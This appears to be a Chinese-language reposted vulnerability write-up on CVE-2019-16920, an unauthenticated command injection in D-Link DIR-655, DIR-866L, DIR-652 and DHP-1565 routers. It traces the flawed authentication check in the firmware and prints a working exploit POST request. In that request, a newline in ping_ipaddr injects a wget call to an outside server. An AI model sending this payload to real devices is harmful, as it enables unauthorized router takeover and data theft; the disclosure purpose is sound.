CVE-2019-16920:D-link RCE漏洞
2019-10-10 23:07:40 Author: mp.weixin.qq.com(查看原文) 阅读量:71 收藏

简介

2019年9月,Fortinet FortiGuard实验室发现并报告了D-Link 产品中的有个非认证的命令注入漏洞——CVE-2019-16920,成功利用该漏洞可以导致远程代码执行。因为该漏洞可以在不经过认证的情况下远程触发,因此研究人员将该漏洞评为中危。

受影响的产品包括D-Link的:

· DIR-655

· DIR-866L

· DIR-652

· DHP-1565

漏洞细节

该漏洞源于一个失败的认证检查。为了了解该问题,研究人员首先查看了admin页面,然后执行了login动作。 

POST /apply_sec.cgi HTTP/1.1

Host: 192.168.232.128

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

Connection: close

Referer: http://192.168.232.128/

Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&

graph_code=&session_id=62384

List 1: Login Request

登陆动作是通过URI /apply_sec.cgi完成的。快速检索发现 apply_sec.cgi 代码位于/www/cgi/ssi 的do_ssc (0x40a210)函数中。current_user 和 user_username的值是来源于nvram中的:

图1:  do_ssc代码段

然后函数会比较current_user和变量acStack160的值。

nvram中的current_user值只有成功登陆后才会设置,所以该值默认情况下是不初始化的。AcStack160的值是base64encode(user_username)的解果,所以默认情况下user_username会被设置为 “user”,所以iVar2不会返回0,也不会返回到error.asp 页面。

 图2:  do_ssc代码段2

在do-while循环的代码中,程序会调用函数put_querystring_env()来分析HTTP POST请求,并保存值到ENV中。然后函数会调用query_vars(“action”, acStack288, 0x80)

图3: 函数query_vars 代码段 

这就为action提供了值,会保存为ENV中的acStack288。如果一切顺利的话,返回的值就是0。

变量 iVar2等于0后,就到了if条件。他会将URI的值与字符串“/apply_sec.cgi”进行比较。如果匹配超过, ppcVar3 就会指向SSC_SEC_OBJS数组,否则就指向SSC_OBJS数组。

图4: do_ssc代码段3

ppcVar3指向了 SSC_SEC_OBJS数组,这是action值list。如果我们输入不在list中的值,程序就会返回LAB_0040a458,并报错“No OBJS for action: <action input>”。

图5: do_ssc中的错误输出代码段

可以在图2中看到失败的认证检查。即使在没有认证的情况下代码也会执行,也就是说可以在/apply_sec.cgi路径下的SSC_SEC_OBJS数组中执行任意动作。

SSC_SEC_OBJS action数组位于 init_plugin()函数的寄存器register中:

 图6: init_plugin代码段

下面查看地址0x0051d89c,并将其变量转化为word类型,可以看到以下数组:

图7: address 0x0051d89C

其中有有个action需要关注:

图8: 字符串 ping_test和action 地址

然后到了 sub_41A010,该函数会从param ping_ipaddr中获取值。并通过inet_aton(), inet_ntoa()函数转化,然后执行ping:

图9: sub_41A010代码段

如果尝试输入特殊字符,比如双引号、引号等,ping就会失败。但是如果加入换行符,就可以执行命令注入:

POST /apply_sec.cgi HTTP/1.1

Host: 192.168.232.128

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 131

Connection: close

Referer: http://192.168.232.128/login_pic.asp

Cookie: uid=1234123

Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

List 2: ping_test动作中的Exploit Request 

下面用action ping_test实现到apply_sec.cgi的POST HTTP请求。然后研究人员在ping_ipaddr中执行了命令注入。即使返回了login页面,ping_test动作仍然执行了,ping_ipaddr的值会执行路由器服务器的“echo 1234”命令,并返回结果到研究人员控制的服务器。

 图10: 成功的漏洞利用流量

攻击者可以利用这种方式来提取admin密码,安装后门到服务器中。

结论

该漏洞的根源在于没有对原生系统命令执行的命令进行检查,这也是许多固件厂商存在的安全问题。该漏洞CVE编号为CVE-2019-16920。研究人员建议受影响的D-Link用户更新到最新的产品或固件。

注:本文参考自:fortinet.com


文章来源: https://mp.weixin.qq.com/s/_Z_xJovhXEowEbqPtmRdQA
如有侵权请联系:admin#unsafe.sh